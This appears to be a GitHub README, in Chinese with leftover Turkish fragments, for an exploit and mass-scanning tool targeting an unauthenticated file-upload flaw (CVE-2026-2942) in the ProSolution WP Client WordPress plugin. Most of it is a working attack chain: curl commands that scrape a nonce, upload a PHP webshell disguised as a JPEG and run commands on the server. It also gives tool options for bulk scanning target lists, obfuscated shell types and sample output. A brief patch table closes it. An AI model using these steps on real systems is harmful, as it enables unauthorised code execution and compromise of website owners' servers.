xxconi/CVE-2026-2942
GitHub: xxconi/CVE-2026-2942
针对 ProSolution WP Client 插件未授权文件上传导致 RCE 漏洞的自动化扫描与利用工具。
Stars: 0 | Forks: 0
# ProSolution WP Client — 未授权文件上传与 RCE 扫描器
## 📌 漏洞详情
ProSolution WP Client 插件的 `proSol_fileUploadProcess` AJAX action,
虽然会检查上传文件的 **MIME 类型,但并未验证文件扩展名。**
攻击者可以将带有 `.php` 扩展名的文件伪装成 `image/jpeg` MIME 类型发送,
从而在**无需身份验证**的情况下向服务器**上传 webshell**。
### 攻击链
```
[prosolfrontend] shortcode sayfası
│
▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
```
## 🧪 PoC(手动)
### 前置条件
- 已安装 WordPress 并启用了 `prosolution-wp-client` 插件(版本 <= 1.9.9)
- 存在一个包含 `[prosolfrontend]` shortcode 的已发布 WordPress 页面
### 步骤 1 — 获取 Nonce
访问任何包含 `[prosolfrontend]` shortcode 的公开页面,
并从源代码中提取 `prosolObj.nonce` 的值:
```
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
```
在源代码中查找的结构:
```
```
### 步骤 2 — 创建 PHP Webshell
```
echo '' > /tmp/shell.php
```
### 步骤 3 — 通过 MIME 欺骗上传
使用 `image/jpeg` Content-Type 发送 `.php` 文件:
```
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
```
预期响应:
```
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
```
### 步骤 4 — 触发 RCE
```
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # Adım 3'teki newfilename
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
```
预期输出:
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
**✅ 未授权 RCE 攻击成功。**
## 🛠️ 自动化扫描器配置
```
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
```
**requirements.txt**
```
requests
```
## 🚀 用法
### 单一目标
```
python prosol_upload.py -u http://hedef.com
```
### 验证 Shell
```
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
```
### 批量扫描
```
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
```
### 使用代理(Burp Suite)
```
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
```
### 自定义 Shell 类型
```
python prosol_upload.py -u http://hedef.com --shell-type full
```
## ⚙️ 参数
| 参数 | 简写 | 描述 | 默认值 |
|---|---|---|---|
| `--url` | `-u` | 单一目标 URL | — |
| `--list` | `-l` | 目标列表文件 | — |
| `--threads` | `-t` | 线程数 | `10` |
| `--output` | `-o` | 输出文件 | `uploaded.txt` |
| `--shell-name` | — | 上传的文件名 | `shell.php` |
| `--shell-type` | — | Shell 类型 | `system` |
| `--verify` | — | 上传后测试 RCE | `False` |
| `--verify-cmd` | — | 验证命令 | `id` |
| `--proxy` | — | 代理 URL | — |
| `--timeout` | — | 请求超时时间(秒) | `10` |
## 💀 Shell 类型
| 类型 | Payload | 描述 |
|---|---|---|
| `system` | `` | 基本系统命令 |
| `passthru` | `` | 原始输出 |
| `exec` | `` | 静默执行 |
| `assert` | `` | 通过 POST 执行 eval |
| `b64` | `` | Base64 混淆 |
| `full` | shell_exec + system + exec fallback | 全功能 shell |
## 📂 Shell 上传位置
```
WordPress Kök/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell burada
```
## 📊 扫描器输出状态
| 状态 | 描述 |
|---|---|
| `★ UPLOADED` | Shell 上传成功 |
| `✓ RCE OK` | Shell 验证成功,命令已执行 |
| `- BLOCKED` | 服务器阻止了 PHP 扩展名 |
| `~ TIMEOUT` | 连接超时 |
| `~ CONN_ERR` | 连接错误 |
| `! HTTP_ERR` | HTTP 错误代码 |
## 🖥️ 扫描器输出示例
```
[*] 3 hedef | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
Yeni Ad : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
```
## 🛡️ 防御 / 补丁
| 措施 | 实施 |
|---|---|
| 禁用 PHP 执行 | 在 `uploads/` 目录中添加 `.htaccess` |
| 更新插件 | 升级至版本 > 1.9.9 或卸载 |
| 扩展名白名单 | 服务端仅允许指定的扩展名 |
| MIME 验证 | 使用 `finfo_file()` 检查实际内容 |
| WAF 规则 | 拦截 `.php` 上传请求 |
针对 `uploads/` 目录的 `.htaccess`:
```
Deny from all
```
## ⚠️ 法律声明
## 📄 许可证
MIT License — 仅用于教育和研究目的。
标签:CISA项目, Web安全, WordPress, 加密, 安全, 漏洞扫描器, 蓝队分析, 超时处理, 逆向工具